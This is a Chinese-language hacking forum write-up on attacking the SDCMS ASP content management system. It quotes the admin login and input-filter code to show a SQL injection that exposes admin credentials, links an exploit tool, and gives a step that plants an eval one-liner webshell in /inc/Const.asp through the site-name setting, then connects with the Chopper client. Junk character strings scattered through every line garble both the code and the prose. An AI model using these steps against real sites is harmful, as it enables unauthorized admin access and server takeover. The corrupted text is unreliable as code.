作者:T00LS 鬼哥
1 ^# ?1 Z& R3 C: M; U3 Y8 }漏洞文件:后台目录/index.asp/ E/ p( Y. n% J+ H4 q! Q! @7 q
! v; S1 a( B: y |Sub Check
! g, J' [6 n; l }, P$ `3 G Dim username,password,code,getcode,Rs- `: C6 L4 q& H
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
/ w2 L5 I# t- }$ b4 @. z# ~0 E$ ? username=FilterText(Trim(Request.Form("username")),1)
: f# M4 p7 y3 |5 F# } password=FilterText(Trim(Request.Form("password")),1)% u+ x7 D" D1 ?& J/ q# v' R, Y+ T
code=Trim(Request.Form("yzm"))# h+ M+ |1 M/ ^
getcode=Session("SDCMSCode")
1 L7 g# T7 G- e* u, o IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
) g. B1 U0 F4 j1 D IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)" ied
: k+ g$ H; L) F: z1 v$ d" j IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)" ied
4 z% Z1 O1 X' E- C6 P5 t IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)" ied
( \" f& x7 P3 H$ w, K" l# f IF username="" or password="" Then4 u/ Y1 ^; @5 ]6 U# M
Echo "用户名或密码不能为空" ied
* z8 V% }' o3 ?* `# z. O- k Else: Z) _ J r. W- p7 T V+ j
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")6 e7 J. J G' ]* `
IF Rs.Eof Then% B; ]" |9 j: Q
AddLog username,GetIp,"登录失败",11 o) K) X" _4 i* h. l- E& ^, D
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"& j2 w/ B6 E* p! S. U1 M
Else7 n2 I1 s" L# @) x* K! W! i
Add_Cookies "sdcms_id",Rs(0); n$ b. a" G9 S' V- W N9 H
Add_Cookies "sdcms_name",username$ }; B$ O Q' z# l: u/ c" z
Add_Cookies "sdcms_pwd",Rs(2)
$ S6 B7 K w) M6 Q Add_Cookies "sdcms_admin",Rs(3)
" D' c' N" }3 g0 r* v Add_Cookies "sdcms_alllever",Rs(4) f0 I1 q ~1 A2 B; Z7 B# N0 ?/ L
Add_Cookies "sdcms_infolever",Rs(5)$ W' [. e3 c! M* f
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
7 x( G% {$ d9 B3 I' d& ] AddLog username,GetIp,"登录成功",1
/ y% j# `7 C4 A '自动删除30天前的Log记录
2 ~6 b9 k @6 C8 c( O$ ~- `, s" m/ B IF Sdcms_DataType Then- x7 l$ N* D% @7 W
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
( D0 K$ u/ E! { Else
4 Q7 @0 _2 D" l) y& E3 { Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
8 e' o$ b4 U2 B8 T End IF
* [, e* q. m; ^( h Go("sdcms_index.asp")9 ?8 u6 `* e( r4 b9 M( R: @
End IF
: h' H+ s; G( B& b& z9 z+ o Rs.Close0 c# L0 i- h {7 K. e% _% D. b0 T
Set Rs=Nothing
: I4 m- o5 r c/ W9 G/ K End IF& O5 \$ h4 } h6 @, g
End Sub
3 v( H' W8 k0 q6 H- R: j" s/ ~( S0 i2 z1 Q' a
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码! l8 C. y/ U9 y( K" l
2 \& M6 ] X$ R- B- ~' OFunction FilterText(ByVal t0,ByVal t1)
& p% r! U8 H- D& x$ R0 d* ]/ ? IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
5 t4 ~ J7 {3 G5 W t0=Trim(t0)8 Q3 x, A& n4 j7 c$ C7 ]
Select Case t19 b* e) U/ r: P2 o/ M
Case "1"
5 r. U" t: H* p4 U0 E! B" S t0=Replace(t0,Chr(32),""), G5 [# V" [* r+ V' H* F, T
t0=Replace(t0,Chr(13),"")1 d, @2 Q, b, J/ p% B) v. A
t0=Replace(t0,Chr(10)&Chr(10),"")3 X$ z. e( s/ r, O' p
t0=Replace(t0,Chr(10),"")& O. k; f2 E4 S6 N) _5 Q% v+ w, j0 f
Case "2": s, p5 X D- k
t0=Replace(t0,Chr(8),"")'回格
8 b/ i1 X; a6 }+ s( e3 U t0=Replace(t0,Chr(9),"")'tab(水平制表符)
/ x0 w# ?' E! g# N( I5 I8 k5 k t0=Replace(t0,Chr(10),"")'换行
( c0 r0 W# d; k& r8 j5 ]2 A t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
$ s) X/ m I% y: P5 S/ p t0=Replace(t0,Chr(12),"")'换页8 H+ p$ }8 a6 C4 Z/ }
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
0 y8 [, a% A% U6 G5 D t0=Replace(t0,Chr(22),"")6 r+ q* S8 N( G$ Z m
t0=Replace(t0,Chr(32),"")'空格 SPACE
: G: x* e5 X. i1 e, q t0=Replace(t0,Chr(33),"")'!
' e! n7 \6 N( D$ s2 s) O9 Z5 E t0=Replace(t0,Chr(34),"")'"
8 r t7 }0 N4 Q# w, h. T2 G7 ] t0=Replace(t0,Chr(35),"")'#( g( c) X8 K6 q( o3 R
t0=Replace(t0,Chr(36),"")'$# D5 D9 K' Y! _& w
t0=Replace(t0,Chr(37),"")'%
* T+ q8 h. u# m) H- n) W. [9 P4 q/ m t0=Replace(t0,Chr(38),"")'&
( I) B: c$ P/ J: g) ~/ [: b6 x+ V t0=Replace(t0,Chr(39),"")''
6 G! h* \/ p' \4 G t0=Replace(t0,Chr(40),"")'(
0 x. e; j2 `1 \8 L t0=Replace(t0,Chr(41),"")')
- q/ j q3 f" X, Y( _/ _. k. G t0=Replace(t0,Chr(42),"")'*
: ]: N* N# h3 t- @! p _1 u t0=Replace(t0,Chr(43),"")'+
. k& H' _- d4 f% d# z8 q4 Y t0=Replace(t0,Chr(44),"")',$ s9 a# f- s" e8 \
t0=Replace(t0,Chr(45),"")'-
1 Z4 n$ B* b- |) b& S% ] t0=Replace(t0,Chr(46),"")'.
9 g1 S. [7 j% v t0=Replace(t0,Chr(47),"")'/
+ z. b. W, j& ~4 p$ z t0=Replace(t0,Chr(58),"")':
% q0 Z: t- u1 k. h: D' J/ v t0=Replace(t0,Chr(59),"")';" w' o* Y/ \! Y0 I; {" b- n
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'> W8 b, l/ S+ u' g+ o
t0=Replace(t0,Chr(63),"")'?
1 d2 u# S0 x) _% g/ @$ \ t0=Replace(t0,Chr(64),"")'@6 w$ k9 A2 @) l3 c0 h. y& H! H$ n6 m
t0=Replace(t0,Chr(91),"")'\
) s0 o$ }9 B: A4 s9 q( M t0=Replace(t0,Chr(92),"")'\
V& L8 P3 D8 o! s# A. L# t( q t0=Replace(t0,Chr(93),"")']1 K2 p* ?8 E; ^1 R: _
t0=Replace(t0,Chr(94),"")'^
$ Z& c+ r; n) p2 I$ o2 U t0=Replace(t0,Chr(95),"")'_2 w) z& F% G, s5 N0 p0 g, t
t0=Replace(t0,Chr(96),"")'`
1 I' {0 G( u0 n! c: I, o9 K! d t0=Replace(t0,Chr(123),"")'{* l% M! m5 F( k9 q; g
t0=Replace(t0,Chr(124),"")'|
4 O0 f& Y4 k7 H9 R. A# e+ \# T t0=Replace(t0,Chr(125),"")'}
; d( D9 Z) i G1 z$ B9 } t0=Replace(t0,Chr(126),"")'~
" C+ `. j1 k& m Case Else# u1 t8 p. i+ a- s' D# g( m. _% w
t0=Replace(t0, "&", "&") p, P+ n7 o" }- `6 d' Q0 @
t0=Replace(t0, "'", "'"): q. B3 ]- ^, _
t0=Replace(t0, """", """)
0 u4 s, S) B0 g* `8 G t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
) `5 P/ j4 D8 E# D- o# z# t9 i End Select
) O6 j& w: H5 p" ]/ m5 v9 i/ H IF Instr(Lcase(t0),"expression")>0 Then
1 Z5 ?6 o; h" W# F1 R6 K t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
2 O' U7 W9 `2 _6 A t) G5 D( \; D' r End If* S+ C2 N( l, m0 E1 d
FilterText=t0
7 e% U+ P! p9 lEnd Function
1 a8 d) J+ @, Q3 b3 v. n! k T* g1 O8 j h9 X
看到没。直接参数是1 只过滤' u) d4 G" a" k+ r
t0=Replace(t0,Chr(32)," ")! n8 h+ F( V% W t' M
t0=Replace(t0,Chr(13),"")
1 w( O) z, G0 y8 S! C" E6 G L t0=Replace(t0,Chr(10)&Chr(10),"
1 \! a0 ^% b* y& f; |+ d( s")) O( U3 K9 e: q6 r0 }2 J+ H# s
t0=Replace(t0,Chr(10),"& D- w+ N @6 G: b
")1 `% b9 D2 t7 l. `
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!" D n4 `; t) v! ^* a- j, o
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
# p7 w. V/ g% M+ z4 C' ]9 b4 M3 x7 G
测试:! _5 L2 k( L f5 S
" k0 h7 f5 q6 R- @! Y, S5 K
4 e$ M" @5 t/ L) N+ C0 G! A
现在输入工具上验证码,然后点OK
2 V; `7 L2 a S7 Q+ j$ a
/ ^3 h! J% a3 D* R% K$ }- e! {7 f9 `( {# C! _& U7 a. _* I
看到我们直接进入后台管理界面了,呵呵!
3 V2 o3 c+ w$ `7 W& M- `( n5 X y5 @- ] d
+ ]! D; g5 |' a- ]2 n
) t( A5 Q+ T; V" U" ~9 R; g这样直接进入后台了。。。。
* q* R" o7 e" S- E7 ^5 b# g/ s3 s0 q* ^' G
: D; v7 J* m& _: j, M
6 \% w3 n6 S% T' N4 \: F' SSDCMS提权:
+ ^# T1 I% F+ \2 F* h% J
- m Q9 w: r) M方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
; ~4 V* @( P; e7 Z
; J9 P/ P, r; _9 J2 P- L q& q2 V( h" F6 x0 n1 A7 a
; X, {% p0 H: _! k+ e; r2 T9 rOK,现在用菜刀连接下!# ^: K: g/ d2 F7 ~0 |9 z
" z+ G" f5 v4 A$ E+ k% a
( [6 l9 c* z+ L# A4 c* j$ c. I/ ^2 L. h/ Q
* Q3 U" d; v0 P0 o" U* e9 e* K1 n6 V; m0 @: Z: t6 c
|